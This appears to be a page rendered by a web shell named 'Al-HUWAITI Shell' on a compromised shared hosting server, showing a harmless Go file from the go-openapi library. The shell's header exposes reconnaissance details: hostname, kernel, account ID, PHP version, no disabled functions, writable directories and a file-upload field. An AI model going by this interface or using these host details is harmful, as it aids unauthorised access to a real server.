Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1949.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u595547767 ( 595547767)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /opt/go/pkg/mod/github.com/go-openapi/analysis@v0.23.0/internal/flatten/schutils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/go/pkg/mod/github.com/go-openapi/analysis@v0.23.0/internal/flatten/schutils/flatten_schema.go
// Package schutils provides tools to save or clone a schema
// when flattening a spec.
package schutils

import (
	"github.com/go-openapi/spec"
	"github.com/go-openapi/swag"
)

// Save registers a schema as an entry in spec #/definitions
func Save(sp *spec.Swagger, name string, schema *spec.Schema) {
	if schema == nil {
		return
	}

	if sp.Definitions == nil {
		sp.Definitions = make(map[string]spec.Schema, 150)
	}

	sp.Definitions[name] = *schema
}

// Clone deep-clones a schema
func Clone(schema *spec.Schema) *spec.Schema {
	var sch spec.Schema
	_ = swag.FromDynamicJSON(schema, &sch)

	return &sch
}

Al-HUWAITI Shell